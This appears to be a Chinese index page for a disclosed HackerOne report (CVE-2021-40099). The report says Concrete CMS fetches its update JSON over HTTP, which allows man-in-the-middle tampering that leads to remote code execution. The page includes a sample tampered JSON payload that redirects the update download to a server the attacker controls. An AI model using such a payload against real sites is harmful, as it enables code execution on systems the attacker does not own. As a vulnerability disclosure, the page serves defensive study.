地图 / Fetching the update json scheme from concrete5 over HTTP leads to remote code execution

Fetching the update json scheme from concrete5 over HTTP leads to remote code execution

密码学缺陷 / 中间人攻击 / #982130

厂商: Concrete CMS
严重程度: 中危 · CVSS 7.6
赏金: —
弱点: 中间人攻击
研究员: @pabl00nicarres
披露日期: 2021-09-22
资产: https://github.com/concrete5/concrete5
CVE: CVE-2021-40099

该报告还没有中文解读。

原文摘录

摘自原文（2879 字符中的一小部分）

Hi, I noticed that concrete5 fetches the update JSON scheme from www.concrete5.org over HTTP. The fetched json defines the download URL, so we can simply tamper with this JSON in order to make the update URL point to a server controlled by us. Combining this with the possibility to set an arbitrary …

原文中的代码

{"version":"8.6","notes":"RCE","notes_url":"https:\/\/documentation.concrete5.org\/developers\/background\/version-history\/821-release-notes","identifier":"8.6","date":"2017-08-02","direct_download_url":"http:\/\/192.168.1.170:8000\/test.zip"}

默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Concrete CMS 所有。

时间线

2020-09-14报告提交
2021-09-22公开披露

阅读 HackerOne 原文 ↗作者 @pabl00nicarres · 版权归作者与 Concrete CMS 所有

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Fetching the update json scheme from concrete5 over HTTP leads to remote code execution · 破甲 POJIA